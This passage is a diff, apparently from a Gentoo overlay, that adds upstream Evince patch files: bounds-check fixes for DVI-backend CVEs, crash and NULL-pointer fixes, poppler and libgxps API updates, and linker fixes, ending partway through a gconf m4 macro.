+diff --git a/libdocument/ev-document-misc.c b/libdocument/ev-document-misc.c
+index d597127..6099b7f 100644
+--- a/libdocument/ev-document-misc.c
++++ b/libdocument/ev-document-misc.c
+@@ -56,7 +56,7 @@ create_thumbnail_frame (int        width,
+ 	}
+ 
+ 	/* make sure no one is passing us garbage */
+-	g_assert (width_r >= 0 && height_r >= 0);
++	g_return_val_if_fail (width_r >= 0 && height_r >= 0, NULL);
+ 
+ 	retval = gdk_pixbuf_new (GDK_COLORSPACE_RGB,
+ 				 TRUE, 8,
+--
+cgit v0.9.0.2
diff --git a/app-text/evince-light/files/evince-2.32.0-desktop-categories.patch b/app-text/evince-light/files/evince-2.32.0-desktop-categories.patch
new file mode 100644
index 00000000..eaceaed3
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-desktop-categories.patch
@@ -0,0 +1,20 @@
+From ed7cda334dddc08b4b10a4c1c49df3f6c0a1bc41 Mon Sep 17 00:00:00 2001
+From: Carlos Garcia Campos <carlosgc@gnome.org>
+Date: Sat, 17 Dec 2011 10:28:19 +0000
+Subject: evince.desktop: Add Office category
+
+Fixes bug #666346.
+---
+diff --git a/data/evince.desktop.in.in b/data/evince.desktop.in.in
+index e3b0160..7106d97 100644
+--- a/data/evince.desktop.in.in
++++ b/data/evince.desktop.in.in
+@@ -13,5 +13,5 @@ X-GNOME-Bugzilla-Bugzilla=GNOME
+ X-GNOME-Bugzilla-Product=evince
+ X-GNOME-Bugzilla-Component=BugBuddyBugs
+ X-GNOME-Bugzilla-Version=@VERSION@
+-Categories=GNOME;GTK;Graphics;VectorGraphics;Viewer;
++Categories=GNOME;GTK;Office;Viewer;Graphics;VectorGraphics;
+ MimeType=@EVINCE_MIME_TYPES@
+--
+cgit v0.9.0.2
diff --git a/app-text/evince-light/files/evince-2.32.0-dvi-CVEs.patch b/app-text/evince-light/files/evince-2.32.0-dvi-CVEs.patch
new file mode 100644
index 00000000..691ee419
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-dvi-CVEs.patch
@@ -0,0 +1,97 @@
+From 8e473c9796b9a61b811213e7892fd36fd570303a Mon Sep 17 00:00:00 2001
+From: José Aliste <jaliste@src.gnome.org>
+Date: Tue, 07 Dec 2010 18:56:47 +0000
+Subject: backends: Fix several security issues in the dvi-backend.
+
+See CVE-2010-2640, CVE-2010-2641, CVE-2010-2642 and  CVE-2010-2643.
+---
+diff --git a/backend/dvi/mdvi-lib/afmparse.c b/backend/dvi/mdvi-lib/afmparse.c
+index 164366b..361e23d 100644
+--- a/backend/dvi/mdvi-lib/afmparse.c
++++ b/backend/dvi/mdvi-lib/afmparse.c
+@@ -160,7 +160,7 @@ static char *token(FILE *stream)
+     
+     idx = 0;
+     while (ch != EOF && ch != ' ' && ch != lineterm 
+-           && ch != '\t' && ch != ':' && ch != ';') 
++           && ch != '\t' && ch != ':' && ch != ';' && idx < MAX_NAME)
+     {
+         ident[idx++] = ch;
+         ch = fgetc(stream);
+diff --git a/backend/dvi/mdvi-lib/dviread.c b/backend/dvi/mdvi-lib/dviread.c
+index 97b7b84..ac98068 100644
+--- a/backend/dvi/mdvi-lib/dviread.c
++++ b/backend/dvi/mdvi-lib/dviread.c
+@@ -1537,6 +1537,10 @@ int	special(DviContext *dvi, int opcode)
+ 	Int32	arg;
+ 	
+ 	arg = dugetn(dvi, opcode - DVI_XXX1 + 1);
++	if (arg <= 0) {
++		dvierr(dvi, _("malformed special length\n"));
++		return -1;
++	}
+ 	s = mdvi_malloc(arg + 1);
+ 	dread(dvi, s, arg);
+ 	s[arg] = 0;
+diff --git a/backend/dvi/mdvi-lib/pk.c b/backend/dvi/mdvi-lib/pk.c
+index a579186..08377e6 100644
+--- a/backend/dvi/mdvi-lib/pk.c
++++ b/backend/dvi/mdvi-lib/pk.c
+@@ -469,6 +469,15 @@ static int pk_load_font(DviParams *unused, DviFont *font)
+ 			}
+ 			if(feof(p))
+ 				break;
++
++			/* Although the PK format support bigger char codes,
++                         * XeTeX and other extended TeX engines support charcodes up to
++                         * 65536, while normal TeX engine supports only charcode up to 255.*/
++			if (cc < 0 || cc > 65536) {
++				mdvi_error (_("%s: unexpected charcode (%d)\n"),
++					    font->fontname,cc);
++				goto error;
++			} 
+ 			if(cc < loc)
+ 				loc = cc;
+ 			if(cc > hic)
+@@ -512,7 +521,7 @@ static int pk_load_font(DviParams *unused, DviFont *font)
+ 	}
+ 
+ 	/* resize font char data */
+-	if(loc > 0 || hic < maxch-1) {
++	if(loc > 0 && hic < maxch-1) {
+ 		memmove(font->chars, font->chars + loc, 
+ 			(hic - loc + 1) * sizeof(DviFontChar));
+ 		font->chars = xresize(font->chars,
+diff --git a/backend/dvi/mdvi-lib/tfmfile.c b/backend/dvi/mdvi-lib/tfmfile.c
+index 73ebf26..8c2a30b 100644
+--- a/backend/dvi/mdvi-lib/tfmfile.c
++++ b/backend/dvi/mdvi-lib/tfmfile.c
+@@ -172,7 +172,8 @@ int	tfm_load_file(const char *filename, TFMInfo *info)
+ 	/* We read the entire TFM file into core */
+ 	if(fstat(fileno(in), &st) < 0)
+ 		return -1;
+-	if(st.st_size == 0)
++	/* according to the spec, TFM files are smaller than 16K */
++	if(st.st_size == 0 || st.st_size >= 16384)
+ 		goto bad_tfm;
+ 
+ 	/* allocate a word-aligned buffer to hold the file */
+diff --git a/backend/dvi/mdvi-lib/vf.c b/backend/dvi/mdvi-lib/vf.c
+index fb49847..a5ae3bb 100644
+--- a/backend/dvi/mdvi-lib/vf.c
++++ b/backend/dvi/mdvi-lib/vf.c
+@@ -165,6 +165,12 @@ static int vf_load_font(DviParams *params, DviFont *font)
+ 			cc = fuget1(p);
+ 			tfm = fuget3(p);
+ 		}
++		if (cc < 0 || cc > 65536) {
++			/* TeX engines do not support char codes bigger than 65535 */
++			mdvi_error(_("(vf) %s: unexpected character %d\n"),
++				   font->fontname, cc);
++			goto error;
++		}
+ 		if(loc < 0 || cc < loc)
+ 			loc = cc;
+ 		if(hic < 0 || cc > hic)
+--
+cgit v0.8.3.1
diff --git a/app-text/evince-light/files/evince-2.32.0-dvi-security.patch b/app-text/evince-light/files/evince-2.32.0-dvi-security.patch
new file mode 100644
index 00000000..6bde382d
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-dvi-security.patch
@@ -0,0 +1,24 @@
+From 9611cfcd6c2f39aafab10730c291efd736ab97e4 Mon Sep 17 00:00:00 2001
+From: Vincent Untz <vuntz@gnome.org>
+Date: Thu, 17 Feb 2011 14:23:39 +0000
+Subject: backends: Fix another security issue in the dvi-backend
+
+This is similar to one of the fixes from d4139205.
+
+https://bugzilla.gnome.org/show_bug.cgi?id=640923
+---
+diff --git a/backend/dvi/mdvi-lib/afmparse.c b/backend/dvi/mdvi-lib/afmparse.c
+index 361e23d..e1cd115 100644
+--- a/backend/dvi/mdvi-lib/afmparse.c
++++ b/backend/dvi/mdvi-lib/afmparse.c
+@@ -190,7 +190,7 @@ static char *linetoken(FILE *stream)
+     while ((ch = fgetc(stream)) == ' ' || ch == '\t' ); 
+     
+     idx = 0;
+-    while (ch != EOF && ch != lineterm) 
++    while (ch != EOF && ch != lineterm && idx < MAX_NAME)
+     {
+         ident[idx++] = ch;
+         ch = fgetc(stream);
+--
+cgit v0.9
diff --git a/app-text/evince-light/files/evince-2.32.0-gold.patch b/app-text/evince-light/files/evince-2.32.0-gold.patch
new file mode 100644
index 00000000..dc846dfa
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-gold.patch
@@ -0,0 +1,16 @@
+ thumbnailer/Makefile.am |    2 +-
+ 1 files changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/thumbnailer/Makefile.am b/thumbnailer/Makefile.am
+index 171c00f..b060a97 100644
+--- a/thumbnailer/Makefile.am
++++ b/thumbnailer/Makefile.am
+@@ -26,7 +26,7 @@ endif
+ 
+ evince_thumbnailer_LDADD = \
+ 	$(top_builddir)/libdocument/libevdocument.la	\
+-	$(FRONTEND_LIBS)
++	$(FRONTEND_LIBS) -lm
+ 
+ schema_files = \
+ 	evince-thumbnailer-dvi.schemas.in  \
diff --git a/app-text/evince-light/files/evince-2.32.0-libdocument-segfault.patch b/app-text/evince-light/files/evince-2.32.0-libdocument-segfault.patch
new file mode 100644
index 00000000..bef8d80c
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-libdocument-segfault.patch
@@ -0,0 +1,35 @@
+From a933a516e9b6a4199d22055f9041747e00498901 Mon Sep 17 00:00:00 2001
+From: José Aliste <jaliste@src.gnome.org>
+Date: Wed, 29 Sep 2010 16:22:32 +0000
+Subject: [libdocument] Check for NULL in synctex_backward_search.
+
+Fixes bug #630845
+---
+diff --git a/libdocument/ev-document.c b/libdocument/ev-document.c
+index 70349dc..742b51c 100644
+--- a/libdocument/ev-document.c
++++ b/libdocument/ev-document.c
+@@ -419,11 +419,16 @@ ev_document_synctex_backward_search (EvDocument *document,
+                 /* We assume that a backward search returns either zero or one result_node */
+                 node = synctex_next_result (scanner);
+                 if (node != NULL) {
+-                        result = g_new (EvSourceLink, 1);
+-                        result->filename = synctex_scanner_get_name (scanner,
+-                                                                     synctex_node_tag (node));
+-                        result->line = synctex_node_line (node);
+-                        result->col = synctex_node_column (node);
++			const gchar *filename;
++
++			filename = synctex_scanner_get_name (scanner, synctex_node_tag (node));
++			
++			if (filename) {
++				result = g_new (EvSourceLink, 1);
++				result->filename = filename;
++				result->line = synctex_node_line (node);
++				result->col = synctex_node_column (node);
++			}
+                 }
+         }
+ 
+--
+cgit v0.8.3.1
diff --git a/app-text/evince-light/files/evince-2.32.0-libview-crash.patch b/app-text/evince-light/files/evince-2.32.0-libview-crash.patch
new file mode 100644
index 00000000..65d07751
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-libview-crash.patch
@@ -0,0 +1,32 @@
+commit a3b87cb28e46958b37e384a47604032ea0889807
+Author: Carlos Garcia Campos <carlosgc@gnome.org>
+Date:   Sun Nov 21 12:27:21 2010 +0100
+
+    libview: Make sure we have a valid page range before getting/setting selection list
+    
+    Fixes bug #630999.
+
+diff --git a/libview/ev-pixbuf-cache.c b/libview/ev-pixbuf-cache.c
+index 367f70d..ee68354 100644
+--- a/libview/ev-pixbuf-cache.c
++++ b/libview/ev-pixbuf-cache.c
+@@ -1035,6 +1035,9 @@ ev_pixbuf_cache_set_selection_list (EvPixbufCache *pixbuf_cache,
+ 	if (!EV_IS_SELECTION (pixbuf_cache->document))
+ 		return;
+ 
++        if (pixbuf_cache->start_page == -1 || pixbuf_cache->end_page == -1)
++                return;
++
+ 	/* We check each area to see what needs updating, and what needs freeing; */
+ 	page = pixbuf_cache->start_page - pixbuf_cache->preload_cache_size;
+ 	for (i = 0; i < pixbuf_cache->preload_cache_size; i++) {
+@@ -1114,6 +1117,9 @@ ev_pixbuf_cache_get_selection_list (EvPixbufCache *pixbuf_cache)
+ 
+ 	g_return_val_if_fail (EV_IS_PIXBUF_CACHE (pixbuf_cache), NULL);
+ 
++        if (pixbuf_cache->start_page == -1 || pixbuf_cache->end_page == -1)
++                return NULL;
++
+ 	/* We check each area to see what needs updating, and what needs freeing; */
+ 	page = pixbuf_cache->start_page - pixbuf_cache->preload_cache_size;
+ 	for (i = 0; i < pixbuf_cache->preload_cache_size; i++) {
diff --git a/app-text/evince-light/files/evince-2.32.0-pk-fonts.patch b/app-text/evince-light/files/evince-2.32.0-pk-fonts.patch
new file mode 100644
index 00000000..8379e745
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-pk-fonts.patch
@@ -0,0 +1,37 @@
+From 0a6e8aabcc46d47b5d84e5414cd0e07d57ef171b Mon Sep 17 00:00:00 2001
+From: José Aliste <jaliste@src.gnome.org>
+Date: Mon, 17 Jan 2011 17:30:00 +0000
+Subject: Fix problem with some pk fonts.
+
+---
+diff --git a/backend/dvi/mdvi-lib/pk.c b/backend/dvi/mdvi-lib/pk.c
+index 08377e6..a911613 100644
+--- a/backend/dvi/mdvi-lib/pk.c
++++ b/backend/dvi/mdvi-lib/pk.c
+@@ -328,13 +328,14 @@ static int pk_load_font(DviParams *unused, DviFont *font)
+ {
+ 	int	i;
+ 	int	flag_byte;
+-	int	loc, hic, maxch;
++	int	hic, maxch;
+ 	Int32	checksum;
+ 	FILE	*p;
+ #ifndef NODEBUG
+ 	char	s[256];
+ #endif
+ 	long	alpha, beta, z;
++	unsigned int loc;
+ 
+ 	font->chars = xnalloc(DviFontChar, 256);
+ 	p = font->in;
+@@ -521,7 +522,7 @@ static int pk_load_font(DviParams *unused, DviFont *font)
+ 	}
+ 
+ 	/* resize font char data */
+-	if(loc > 0 && hic < maxch-1) {
++	if(loc > 0 || hic < maxch-1) {
+ 		memmove(font->chars, font->chars + loc, 
+ 			(hic - loc + 1) * sizeof(DviFontChar));
+ 		font->chars = xresize(font->chars,
+--
+cgit v0.8.3.1
diff --git a/app-text/evince-light/files/evince-2.32.0-stop-spinner.patch b/app-text/evince-light/files/evince-2.32.0-stop-spinner.patch
new file mode 100644
index 00000000..eb330196
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-stop-spinner.patch
@@ -0,0 +1,74 @@
+From 220956ee03fa37fb55079aff63675db26cd908f9 Mon Sep 17 00:00:00 2001
+From: Cristian KLEIN <cristiklein+gnome@gmail.com>
+Date: Thu, 16 Dec 2010 17:38:06 +0000
+Subject: libview: Stop the GtkSpinner when the loading window is hidden
+
+Fixes bug #637390.
+---
+diff --git a/libview/ev-loading-window.c b/libview/ev-loading-window.c
+index 4d5eaaf..434beac 100644
+--- a/libview/ev-loading-window.c
++++ b/libview/ev-loading-window.c
+@@ -33,6 +33,7 @@ struct _EvLoadingWindow {
+ 	GtkWindow  base_instance;
+ 
+ 	GtkWindow *parent;
++	GtkWidget *spinner;
+ 
+ 	gint       x;
+ 	gint       y;
+@@ -69,7 +70,6 @@ ev_loading_window_init (EvLoadingWindow *window)
+ 	GtkWindow   *gtk_window = GTK_WINDOW (window);
+ 	GtkWidget   *widget = GTK_WIDGET (window);
+ 	GtkWidget   *hbox;
+-	GtkWidget   *spinner;
+ 	GtkWidget   *label;
+ 	GtkStyle    *style;
+ 	GdkColor    fg, bg;
+@@ -79,10 +79,9 @@ ev_loading_window_init (EvLoadingWindow *window)
+ 
+ 	hbox = gtk_hbox_new (FALSE, 12);
+ 
+-	spinner = gtk_spinner_new ();
+-	gtk_spinner_start (GTK_SPINNER (spinner));
+-	gtk_box_pack_start (GTK_BOX (hbox), spinner, FALSE, FALSE, 0);
+-	gtk_widget_show (spinner);
++	window->spinner = gtk_spinner_new ();
++	gtk_box_pack_start (GTK_BOX (hbox), window->spinner, FALSE, FALSE, 0);
++	gtk_widget_show (window->spinner);
+ 
+ 	label = gtk_label_new (loading_text);
+ 	gtk_box_pack_start (GTK_BOX (hbox), label, FALSE, FALSE, 0);
+@@ -222,10 +221,22 @@ ev_loading_window_hide (GtkWidget *widget)
+ 
+ 	window->x = window->y = 0;
+ 
++	gtk_spinner_stop (GTK_SPINNER (window->spinner));
++
+ 	GTK_WIDGET_CLASS (ev_loading_window_parent_class)->hide (widget);
+ }
+ 
+ static void
++ev_loading_window_show (GtkWidget *widget)
++{
++	EvLoadingWindow *window = EV_LOADING_WINDOW (widget);
++
++	gtk_spinner_start (GTK_SPINNER (window->spinner));
++
++	GTK_WIDGET_CLASS (ev_loading_window_parent_class)->show (widget);
++}
++
++static void
+ ev_loading_window_class_init (EvLoadingWindowClass *klass)
+ {
+ 	GObjectClass   *g_object_class = G_OBJECT_CLASS (klass);
+@@ -235,6 +246,7 @@ ev_loading_window_class_init (EvLoadingWindowClass *klass)
+ 	g_object_class->set_property = ev_loading_window_set_property;
+ 
+ 	gtk_widget_class->size_allocate = ev_loading_window_size_allocate;
++	gtk_widget_class->show = ev_loading_window_show;
+ 	gtk_widget_class->hide = ev_loading_window_hide;
+ 
+ 	g_object_class_install_property (g_object_class,
+--
+cgit v0.9
diff --git a/app-text/evince-light/files/evince-2.32.0-update-poppler.patch b/app-text/evince-light/files/evince-2.32.0-update-poppler.patch
new file mode 100644
index 00000000..29bcad6b
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-update-poppler.patch
@@ -0,0 +1,58 @@
+From f77e6cf4fd7fef49ac91d8c62b6a9a993529adb8 Mon Sep 17 00:00:00 2001
+From: Carlos Garcia Campos <carlosgc@gnome.org>
+Date: Fri, 17 Sep 2010 11:21:16 +0000
+Subject: [pdf] Update to poppler api changes
+
+Linearized PopplerDocument property is now boolean rather than string.
+---
+diff --git a/backend/pdf/ev-poppler.cc b/backend/pdf/ev-poppler.cc
+index aa080e6..ced3ef7 100644
+--- a/backend/pdf/ev-poppler.cc
++++ b/backend/pdf/ev-poppler.cc
+@@ -722,6 +722,9 @@ pdf_document_get_info (EvDocument *document)
+ 	PopplerPermissions permissions;
+ 	EvPage *page;
+ 	char *metadata;
++#ifdef HAVE_POPPLER_DOCUMENT_IS_LINEARIZED
++	gboolean linearized;
++#endif
+ 
+ 	info = g_new0 (EvDocumentInfo, 1);
+ 
+@@ -758,7 +761,11 @@ pdf_document_get_info (EvDocument *document)
+ 		      "producer", &(info->producer),
+ 		      "creation-date", &(info->creation_date),
+ 		      "mod-date", &(info->modified_date),
++#ifdef HAVE_POPPLER_DOCUMENT_IS_LINEARIZED
++		      "linearized", &linearized,
++#else
+ 		      "linearized", &(info->linearized),
++#endif
+ 		      "metadata", &metadata,
+ 		      NULL);
+ 
+@@ -864,6 +871,10 @@ pdf_document_get_info (EvDocument *document)
+ 		info->security = g_strdup (_("No"));
+ 	}
+ 
++#ifdef HAVE_POPPLER_DOCUMENT_IS_LINEARIZED
++	info->linearized = linearized ? g_strdup (_("Yes")) : g_strdup (_("No"));
++#endif
++
+ 	return info;
+ }
+ 
+diff --git a/configure.ac b/configure.ac
+index 0faa16e..9619349 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -512,6 +512,7 @@ if test "x$enable_pdf" = "xyes"; then
+ 	    AC_CHECK_FUNCS(poppler_page_get_text_layout)
+ 	    AC_CHECK_FUNCS(poppler_page_get_selected_text)
+ 	    AC_CHECK_FUNCS(poppler_page_add_annot)
++	    AC_CHECK_FUNCS(poppler_document_is_linearized)
+ 	    LIBS=$evince_save_LIBS
+ 	    PKG_CHECK_MODULES(CAIRO_PDF, cairo-pdf, enable_cairo_pdf=yes, enable_cairo_pdf=no)
+ 	    if test x$enable_cairo_pdf = xyes; then
+--
+cgit v0.8.3.1
diff --git a/app-text/evince-light/files/evince-2.32.0-use-popup.patch b/app-text/evince-light/files/evince-2.32.0-use-popup.patch
new file mode 100644
index 00000000..8bb52c80
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-use-popup.patch
@@ -0,0 +1,21 @@
+From 464ec9077f4bc709e50c83372c9d4e1703533efa Mon Sep 17 00:00:00 2001
+From: Carlos Garcia Campos <carlosgc@gnome.org>
+Date: Sun, 20 Feb 2011 10:29:19 +0000
+Subject: libview: Use a popup window instead of a toplevel for loading window
+
+Fixes focus stealing when scrolling. See bug #633475.
+---
+diff --git a/libview/ev-loading-window.c b/libview/ev-loading-window.c
+index b413431..94576ee 100644
+--- a/libview/ev-loading-window.c
++++ b/libview/ev-loading-window.c
+@@ -266,6 +266,7 @@ ev_loading_window_new (GtkWindow *parent)
+ 	g_return_val_if_fail (GTK_IS_WINDOW (parent), NULL);
+ 
+ 	window = g_object_new (EV_TYPE_LOADING_WINDOW,
++                               "type", GTK_WINDOW_POPUP,
+ 			       "parent", parent,
+ 			       NULL);
+ 	return window;
+--
+cgit v0.9
diff --git a/app-text/evince-light/files/evince-3.2.1-glib-gold.patch b/app-text/evince-light/files/evince-3.2.1-glib-gold.patch
new file mode 100644
index 00000000..ab9dd0fd
--- /dev/null
+++ b/app-text/evince-light/files/evince-3.2.1-glib-gold.patch
@@ -0,0 +1,38 @@
+ configure.ac |    8 ++++----
+ 1 files changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 183b644..c863997 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -160,10 +160,10 @@ fi
+ ZLIB_LIBS=-lz
+ AC_SUBST(ZLIB_LIBS)
+ 
+-PKG_CHECK_MODULES(LIBDOCUMENT, gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED)
++PKG_CHECK_MODULES(LIBDOCUMENT, gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED)
+ PKG_CHECK_MODULES(LIBVIEW, gtk+-3.0 >= $GTK_REQUIRED gail-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED)
+ PKG_CHECK_MODULES(BACKEND, cairo >= $CAIRO_REQUIRED gtk+-3.0 >= $GTK_REQUIRED)
+-PKG_CHECK_MODULES(FRONTEND_CORE, gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED)
++PKG_CHECK_MODULES(FRONTEND_CORE, gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED)
+ 
+ SHELL_PLATFORM_PKGS=
+ case "$with_platform" in
+@@ -189,7 +189,7 @@ case "$with_platform" in
+         ;;
+ esac
+ 
+-PKG_CHECK_MODULES([SHELL_CORE],[libxml-2.0 >= $LIBXML_REQUIRED gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gthread-2.0 $SHELL_PLATFORM_PKGS])
++PKG_CHECK_MODULES([SHELL_CORE],[libxml-2.0 >= $LIBXML_REQUIRED gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED gthread-2.0 $SHELL_PLATFORM_PKGS])
+ 
+ # *********
+ # SM client
+@@ -407,7 +407,7 @@ AC_ARG_ENABLE([previewer],
+     esac])
+ 
+ if test x$enable_previewer = "xyes" ; then
+-  PKG_CHECK_MODULES([PREVIEWER],[gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED])
++  PKG_CHECK_MODULES([PREVIEWER],[gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED])
+ fi
+ 
+ AM_CONDITIONAL([ENABLE_PREVIEWER],[test "$enable_previewer" = "yes"])
diff --git a/app-text/evince-light/files/evince-3.2.1-libgxps-0.2.patch b/app-text/evince-light/files/evince-3.2.1-libgxps-0.2.patch
new file mode 100644
index 00000000..5bbded64
--- /dev/null
+++ b/app-text/evince-light/files/evince-3.2.1-libgxps-0.2.patch
@@ -0,0 +1,45 @@
+From 740263e84f812e069c25d32e6fbf40bec4c061e2 Mon Sep 17 00:00:00 2001
+From: Carlos Garcia Campos <carlosgc@gnome.org>
+Date: Sun, 20 Nov 2011 16:18:30 +0100
+Subject: [PATCH] xps: Bump libgxps requirements to 0.2.0
+
+[Alexandre Rostovtsev <tetromino@gentoo.org>: remove update to configure.ac]
+---
+ backend/xps/xps-document.c |   14 ++------------
+ 1 files changed, 2 insertions(+), 12 deletions(-)
+
+diff --git a/backend/xps/xps-document.c b/backend/xps/xps-document.c
+index 6e34f07..cbba96b 100644
+--- a/backend/xps/xps-document.c
++++ b/backend/xps/xps-document.c
+@@ -156,17 +156,7 @@ xps_document_get_page_size (EvDocument *document,
+ 			    double     *width,
+ 			    double     *height)
+ {
+-	GXPSPage *xps_page;
+-	guint     w, h;
+-
+-	xps_page = GXPS_PAGE (page->backend_page);
+-
+-	gxps_page_get_size (xps_page, &w, &h);
+-
+-	if (width)
+-		*width = (gdouble)w;
+-	if (height)
+-		*height = (gdouble)h;
++	gxps_page_get_size (GXPS_PAGE (page->backend_page), width, height);
+ }
+ 
+ static EvDocumentInfo *
+@@ -210,7 +200,7 @@ xps_document_render (EvDocument      *document,
+ 		     EvRenderContext *rc)
+ {
+ 	GXPSPage        *xps_page;
+-	guint            page_width, page_height;
++	gdouble          page_width, page_height;
+ 	guint            width, height;
+ 	cairo_surface_t *surface;
+ 	cairo_t         *cr;
+-- 
+1.7.8.rc3
+
diff --git a/app-text/evince-light/files/evince-3.4.0-glib-gold.patch b/app-text/evince-light/files/evince-3.4.0-glib-gold.patch
new file mode 100644
index 00000000..34733f75
--- /dev/null
+++ b/app-text/evince-light/files/evince-3.4.0-glib-gold.patch
@@ -0,0 +1,54 @@
+From f2f9097ea87e2f0d15241ac0ee95099a219b7539 Mon Sep 17 00:00:00 2001
+From: Justin Lecher <jlec@gentoo.org>
+Date: Mon, 30 Apr 2012 11:51:18 +0200
+Subject: [PATCH] Fix underlinking with >=glib-2.32 detected by gold linker
+
+As descripted in bug 675129, recent changes in pkg-config files
+drop necessary libs from linking, more accurate gio-2.0 droppes
+gmodule-no-export-2.0.
+
+Readd gmodule-no-export-2.0 at all necessary places.
+
+Signed-off-by: Justin Lecher <jlec@gentoo.org>
+---
+ configure.ac |    8 ++++----
+ 1 files changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 66958fa..2ef6e50 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -154,10 +154,10 @@ fi
+ ZLIB_LIBS=-lz
+ AC_SUBST(ZLIB_LIBS)
+ 
+-PKG_CHECK_MODULES(LIBDOCUMENT, gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gmodule-2.0)
++PKG_CHECK_MODULES(LIBDOCUMENT, gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED gmodule-2.0)
+ PKG_CHECK_MODULES(LIBVIEW, gtk+-3.0 >= $GTK_REQUIRED gail-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED)
+ PKG_CHECK_MODULES(BACKEND, cairo >= $CAIRO_REQUIRED gtk+-3.0 >= $GTK_REQUIRED)
+-PKG_CHECK_MODULES(FRONTEND_CORE, gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED)
++PKG_CHECK_MODULES(FRONTEND_CORE, gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED)
+ 
+ SHELL_PLATFORM_PKGS=
+ case "$with_platform" in
+@@ -180,7 +180,7 @@ case "$with_platform" in
+         ;;
+ esac
+ 
+-PKG_CHECK_MODULES([SHELL_CORE],[libxml-2.0 >= $LIBXML_REQUIRED gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gthread-2.0 $SHELL_PLATFORM_PKGS])
++PKG_CHECK_MODULES([SHELL_CORE],[libxml-2.0 >= $LIBXML_REQUIRED gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED gthread-2.0 $SHELL_PLATFORM_PKGS])
+ 
+ # *********
+ # SM client
+@@ -407,7 +407,7 @@ AC_ARG_ENABLE([previewer],
+   [enable_previewer=yes])
+ 
+ if test x$enable_previewer = "xyes" ; then
+-  PKG_CHECK_MODULES([PREVIEWER],[gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED])
++  PKG_CHECK_MODULES([PREVIEWER],[gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED])
+ fi
+ 
+ AM_CONDITIONAL([ENABLE_PREVIEWER],[test "$enable_previewer" = "yes"])
+-- 
+1.7.8.6
+
diff --git a/app-text/evince-light/files/gconf-2.m4 b/app-text/evince-light/files/gconf-2.m4
new file mode 100644
index 00000000..4a0936e4
--- /dev/null
+++ b/app-text/evince-light/files/gconf-2.m4
@@ -0,0 +1,44 @@
+dnl AM_GCONF_SOURCE_2
+dnl Defines GCONF_SCHEMA_CONFIG_SOURCE which is where you should install schemas
+dnl  (i.e. pass to gconftool-2
+dnl Defines GCONF_SCHEMA_FILE_DIR which is a filesystem directory where
+dnl  you should install foo.schemas files
+dnl
+
+AC_DEFUN([AM_GCONF_SOURCE_2],
+[
+  if test "x$GCONF_SCHEMA_INSTALL_SOURCE" = "x"; then
+    GCONF_SCHEMA_CONFIG_SOURCE=`gconftool-2 --get-default-source`
+  else
+    GCONF_SCHEMA_CONFIG_SOURCE=$GCONF_SCHEMA_INSTALL_SOURCE
+  fi
+
+  AC_ARG_WITH([gconf-source],
+	      AC_HELP_STRING([--with-gconf-source=sourceaddress],
+			     [Config database for installing schema files.]),
+	      [GCONF_SCHEMA_CONFIG_SOURCE="$withval"],)
+
+  AC_SUBST(GCONF_SCHEMA_CONFIG_SOURCE)
+  AC_MSG_RESULT([Using config source $GCONF_SCHEMA_CONFIG_SOURCE for schema installation])
+
+  if test "x$GCONF_SCHEMA_FILE_DIR" = "x"; then
+    GCONF_SCHEMA_FILE_DIR='$(sysconfdir)/gconf/schemas'
+  fi
+
+  AC_ARG_WITH([gconf-schema-file-dir],
+	      AC_HELP_STRING([--with-gconf-schema-file-dir=dir],
+			     [Directory for installing schema files.]),
+	      [GCONF_SCHEMA_FILE_DIR="$withval"],)
+
+  AC_SUBST(GCONF_SCHEMA_FILE_DIR)
+  AC_MSG_RESULT([Using $GCONF_SCHEMA_FILE_DIR as install directory for schema files])
+
+  AC_ARG_ENABLE(schemas-install,
